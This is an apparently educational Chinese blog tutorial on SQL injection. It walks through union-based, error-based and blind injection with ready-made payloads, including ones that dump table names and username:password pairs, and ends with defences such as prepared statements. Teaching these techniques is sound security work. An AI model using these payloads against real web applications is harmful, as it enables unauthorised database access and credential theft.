SQL注入漏洞原理与防御深度剖析
SQL注入漏洞原理与防御深度剖析
SQL注入(SQL Injection)是Web安全中最古老且最具破坏性的漏洞之一。本文将深入剖析SQL注入的底层原理,并详细讲解联合查询注入、报错注入及盲注三大核心手法。
一、SQL注入的底层成因
SQL注入的本质是**“用户输入未严格过滤,被当作代码拼接到SQL语句中执行”**。
当用户输入通过前端表单提交至后端接口时,若后端直接将参数拼接到SQL查询中,攻击者便可通过构造恶意SQL语句(如闭合单引号、添加逻辑判断),使数据库执行非预期的查询,从而获取敏感数据甚至控制服务器。
注入点判断逻辑
- 闭合与报错判断: 输入单引号(
')观察页面是否报错。若报错,说明用户输入被直接拼接进SQL语句且破坏了原有语法结构。 - 逻辑判断验证: 利用
and 1=1(正常显示) 和and 1=2(异常或空页面) 进行逻辑判断,确认注入点。
二、联合查询注入(Union-based)
适用于页面存在回显位的场景。
- 判断列数: 利用
order by子句进行排序测试,递增数字直至报错,确定当前查询的列数。?id=1' order by 3 --+ - 定位回显位: 使用
union select拼接查询。将原查询条件设为不存在的值(如id=-1),使页面回显来自union后的自定义查询结果。?id=-1' union select 1,2,3 --+ - 获取系统信息: 在回显位中调用
database()、version()、user()等系统函数。?id=-1' union select 1,database(),version() --+ - 利用 Information_schema 库脱库:
- 查表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' - 查列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' - 查数据:
union select 1,group_concat(username,':',password),3 from users
- 查表名:
三、报错注入(Error-based)
适用于页面无数据回显,但会返回数据库报错信息的场景。通过利用数据库函数执行时的报错机制,将查询结果嵌入到错误信息中带出。
- Updatexml() 函数: 利用 XPath 格式错误强制报错。
?id=-1' and updatexml(1, concat(0x7e, database(), 0x7e), 1) --+
(0x7e为~的十六进制,由于~不是有效的 XPath 路径起始符,MySQL 会在报错信息中显示拼接出的字符串) - Extractvalue() 函数: 原理与 updatexml 类似。
and extractvalue(1, concat(0x7e, (select user()), 0x7e)) - Floor() 函数: 利用
floor()配合rand()和count()产生的重复键值错误来获取数据,构造相对复杂。
提示:报错注入通常有长度限制(如32位),且一次只能显示一行,常需配合 limit 0,1 逐行读取。
四、盲注(Blind Injection)
适用于页面既无数据回显,也无错误信息的场景。
1. 布尔盲注(Boolean-based)
通过构造逻辑表达式,观察页面返回状态(如是否显示特定关键词)来判断真假。
- 判断长度:
and length(database())=8 - 逐位猜解:
and left(database(),1)>'s'或利用ascii(substr(database(),1,1))>100。 - 技巧: 利用二分法加速猜测,快速缩小字符范围。
2. 时间盲注(Time-based)
利用 sleep() 函数配合 if() 条件判断。若条件为真,则执行延时,以此推断数据内容。
and if(length(database())=8, sleep(5), 1) --+and if(left((select database()),1)='s', sleep(5), 1)
五、防御与修复策略
- 预编译语句(Prepared Statement): 最有效的防御手段。使用参数化查询,将SQL代码与用户输入数据分离,从根本上杜绝注入。
- 输入过滤与转义: 对所有用户输入进行严格的类型检查和特殊字符过滤(如利用白名单机制)。
- 最小权限原则: 数据库账户应限制权限,禁止使用 Root 账户连接业务数据库。
- WAF防护: 部署Web应用防火墙拦截恶意SQL注入特征流量。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 小枝的博客!